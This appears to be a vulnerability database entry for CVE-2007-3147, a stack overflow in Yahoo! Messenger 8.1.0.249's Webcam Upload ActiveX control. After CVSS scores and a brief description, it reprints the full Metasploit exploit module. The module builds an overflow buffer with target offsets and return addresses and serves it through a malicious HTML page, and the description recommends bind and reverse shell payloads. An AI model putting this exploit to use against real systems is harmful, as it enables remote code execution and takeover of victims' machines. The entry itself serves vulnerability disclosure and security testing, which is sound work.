Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow

2007-06-0721:32:23

MC <[email protected]>

www.rapid7.com

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

JSON

This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249. By sending an overly long string to the “Server()” method, and then calling the “Send()” method, an attacker may be able to execute arbitrary code. Using the payloads “windows/shell_bind_tcp” and “windows/shell_reverse_tcp” yield for the best results.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
        Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
        By sending an overly long string to the "Server()" method, and then calling
        the "Send()" method, an attacker may be able to execute arbitrary code.
        Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
        yield for the best results.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-3147' ],
          [ 'OSVDB', '37082' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English All',       { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
        ],
      'DisclosureDate' => '2007-06-05',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.server = #{strname}
#{vname}.send()
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end